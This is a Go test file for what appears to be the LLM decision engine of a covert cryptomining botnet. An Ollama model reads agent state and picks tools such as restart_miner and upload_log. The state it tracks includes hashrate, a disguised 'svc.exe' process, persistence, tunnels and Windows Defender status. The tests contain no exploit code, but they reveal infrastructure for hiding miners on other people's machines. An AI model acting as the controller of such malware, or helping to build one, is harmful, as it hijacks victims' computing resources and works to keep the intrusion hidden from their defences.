package ollama import ( "encoding/json" "net/http" "net/http/httptest" "strings" "testing" "time" ) func TestNewEngineDefaults(t *testing.T) { e := NewEngine("", "") if e.endpoint != "http://localhost:11434" { t.Fatalf("endpoint default: %q", e.endpoint) } if e.model != "llama3.2" { t.Fatalf("model default: %q", e.model) } if e.systemPrompt == "" { t.Fatal("system prompt should be populated") } } func TestNewEngineTrimsTrailingSlash(t *testing.T) { e := NewEngine("http://127.0.0.1:11434/", "mistral") if e.endpoint != "http://127.0.0.1:11434" { t.Fatalf("endpoint trim: %q", e.endpoint) } if e.model != "mistral" { t.Fatalf("model: %q", e.model) } } func TestAgentStateJSONRoundTrip(t *testing.T) { state := AgentState{ AgentID: "a1", WorkerName: "w", Hostname: "host", UptimeSeconds: 100, IsRunning: true, CPUCores: 4, CPUUsagePct: 50, MemoryGB: 8, MemoryUsagePct: 40, Hashrate15m: 500, SharesTotal: 10, SharesGood: 9, SharesBad: 1, ProcessName: "svc.exe", InstallPath: `C:\svc`, HasPersistence: true, HasTunnel: false, DefenderState: "enabled", LastError: "none", } b, err := json.Marshal(state) if err != nil { t.Fatal(err) } var out AgentState if err := json.Unmarshal(b, &out); err != nil { t.Fatal(err) } if out.AgentID != state.AgentID || out.LastError != state.LastError { t.Fatalf("round trip mismatch: %+v", out) } } func TestToolCallAndDecideResponseJSONRoundTrip(t *testing.T) { resp := DecideResponse{ Reasoning: "restart needed", ToolCalls: []ToolCall{ {Tool: "restart_miner", Args: map[string]string{"process_name": "svc"}, Reason: "down"}, }, } b, err := json.Marshal(resp) if err != nil { t.Fatal(err) } var out DecideResponse if err := json.Unmarshal(b, &out); err != nil { t.Fatal(err) } if len(out.ToolCalls) != 1 || out.ToolCalls[0].Tool != "restart_miner" { t.Fatalf("unexpected: %+v", out) } } func TestReportJSONRoundTrip(t *testing.T) { ts := time.Date(2026, 5, 30, 0, 0, 0, 0, time.UTC) r := Report{AgentID: "a1", Tool: "sleep", Success: true, Output: "ok", Timestamp: ts} b, err := json.Marshal(r) if err != nil { t.Fatal(err) } var out Report if err := json.Unmarshal(b, &out); err != nil { t.Fatal(err) } if !out.Timestamp.Equal(ts) || out.Tool != "sleep" { t.Fatalf("unexpected: %+v", out) } } func mockChatServer(t *testing.T, content string, status int) *httptest.Server { t.Helper() if status == 0 { status = http.StatusOK } return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/api/chat": w.WriteHeader(status) if status == http.StatusOK { _ = json.NewEncoder(w).Encode(ollamaResponse{ Message: ollamaMessage{Role: "assistant", Content: content}, Done: true, }) } case "/api/tags": w.WriteHeader(status) default: http.NotFound(w, r) } })) } func TestDecidePlainJSON(t *testing.T) { content := `{"reasoning":"ok","tool_calls":[{"tool":"sleep","args":{"seconds":"5"},"reason":"idle"}]}` srv := mockChatServer(t, content, 0) defer srv.Close() e := NewEngine(srv.URL, "test") state := &AgentState{AgentID: "a1", IsRunning: true} resp, err := e.Decide(state) if err != nil { t.Fatal(err) } if resp.Reasoning != "ok" || len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" { t.Fatalf("unexpected: %+v", resp) } } func TestDecideMarkdownJSONBlock(t *testing.T) { content := "Here is the plan:\n```json\n{\"reasoning\":\"markdown\",\"tool_calls\":[]}\n```\n" srv := mockChatServer(t, content, 0) defer srv.Close() e := NewEngine(srv.URL, "test") resp, err := e.Decide(&AgentState{AgentID: "a1"}) if err != nil { t.Fatal(err) } if resp.Reasoning != "markdown" { t.Fatalf("expected markdown reasoning, got %q", resp.Reasoning) } } func TestDecideExtractsEmbeddedJSON(t *testing.T) { content := `Analysis complete. {"reasoning":"embedded","tool_calls":[]} End.` srv := mockChatServer(t, content, 0) defer srv.Close() e := NewEngine(srv.URL, "test") resp, err := e.Decide(&AgentState{AgentID: "a1"}) if err != nil { t.Fatal(err) } if resp.Reasoning != "embedded" { t.Fatalf("expected embedded reasoning, got %q", resp.Reasoning) } } func TestDecideOllamaHTTPError(t *testing.T) { srv := mockChatServer(t, "", http.StatusInternalServerError) defer srv.Close() e := NewEngine(srv.URL, "test") _, err := e.Decide(&AgentState{AgentID: "a1"}) if err == nil || !strings.Contains(err.Error(), "status 500") { t.Fatalf("expected status error, got %v", err) } } func TestDecideOllamaAPIErrorField(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) _, _ = w.Write([]byte(`{"error":"model not found","done":true}`)) })) defer srv.Close() e := NewEngine(srv.URL, "missing") _, err := e.Decide(&AgentState{AgentID: "a1"}) if err == nil || !strings.Contains(err.Error(), "model not found") { t.Fatalf("expected ollama error, got %v", err) } } func TestDecideInvalidLLMJSON(t *testing.T) { srv := mockChatServer(t, "not json at all", 0) defer srv.Close() e := NewEngine(srv.URL, "test") _, err := e.Decide(&AgentState{AgentID: "a1"}) if err == nil || !strings.Contains(err.Error(), "parse LLM response") { t.Fatalf("expected parse error, got %v", err) } } func TestHealthCheckSuccess(t *testing.T) { srv := mockChatServer(t, "", 0) defer srv.Close() e := NewEngine(srv.URL, "test") if err := e.HealthCheck(); err != nil { t.Fatal(err) } } func TestHealthCheckFailure(t *testing.T) { srv := mockChatServer(t, "", http.StatusServiceUnavailable) defer srv.Close() e := NewEngine(srv.URL, "test") if err := e.HealthCheck(); err == nil { t.Fatal("expected health check error") } } func TestBuildSystemPromptContainsTools(t *testing.T) { prompt := buildSystemPrompt() for _, tool := range []string{"check_miner", "restart_miner", "upload_log", "85%"} { if !strings.Contains(prompt, tool) { t.Fatalf("prompt missing %q", tool) } } }